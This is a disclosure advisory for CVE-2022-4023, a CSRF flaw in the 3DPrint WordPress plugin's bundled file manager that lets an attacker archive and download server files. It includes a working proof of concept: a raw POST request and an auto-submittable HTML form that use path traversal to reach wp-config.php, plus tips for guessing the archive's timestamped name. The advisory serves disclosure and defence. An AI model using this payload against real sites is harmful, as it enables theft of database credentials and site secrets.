3DPrint < 3.5.6.9 – CSRF to arbitrary file downlad | CVE 2022-4023

Description

The plugin does not protect against CSRF attacks in the modified version of Tiny File Manager included with the plugin, allowing an attacker to craft a malicious request that will create an archive of any files or directories on the target server by tricking a logged in admin into submitting a form. Furthermore the created archive has a predictable location and name, allowing the attacker to download the file if they know the time at which the form was submitted, making it possible to leak sensitive files like the WordPress configuration containing database credentials and secrets.

Proof of Concept

== RAW POST Request==

POST /wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php HTTP/1.1
Host: example.com
Cookie: [admin+]
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

group=1&zip=1&file%5b0%5d=../2022&file%5b1%5d=../../../wp-config.php

== HTML form ==

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="zip" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

== Notes ==

The value of 'group' and 'zip' can be anything, they are never used, by specifying 'tar' instead of 'zip', a tar archive is created instead.
The file path of the files and dirs to delete is relative to the plugin upload root, 'wp-content/uploads/p3d'. Directories are archived recursively.

The resulting archive will be in 'wp-content/uploads/p3d/archive_DDMMYY_HHmmss.zip' (or ',tar'). The timestamp is easily guessable if the
time when the form is submitted is known. This can easily be achieved by having the victim visit a server under the attackers control that responds
with a form that auto submits when loaded, and recording the time of the visit. 

If only one file is archived, the archive is named after that file instead of 'archive'.